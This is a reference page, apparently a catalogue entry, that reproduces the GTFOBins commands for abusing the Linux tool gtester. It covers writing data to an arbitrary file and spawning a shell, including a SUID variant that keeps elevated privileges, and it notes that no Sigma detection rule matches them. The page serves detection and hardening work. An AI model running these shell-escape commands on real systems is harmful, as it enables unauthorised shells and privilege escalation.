CmdID / Programs / Linux and Unix
gtester
GTFOBins file-write, shell 1 ATT&CK technique 2 documented commands
How gtester is abused
file-write
-oshell T1059.004 Command and Scripting Interpreter: Unix Shell
-qEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for gtester.
2 documented commands
file-write unprivileged, with sudo, as SUID
Data to be written appears in an XML attribute in the output file (<testbinary path="DATA">).
gtester DATA -o /path/to/output-fileshell unprivileged, with sudo, as SUID
echo 'exec /bin/sh 0<&1' >/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-fileAs SUID:
echo '#!/bin/sh -p' >/path/to/temp-file
echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file
chmod +x /path/to/temp-file
gtester -q /path/to/temp-fileNone of the 2 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for gtester. CmdID reads the line of each that runs gtester.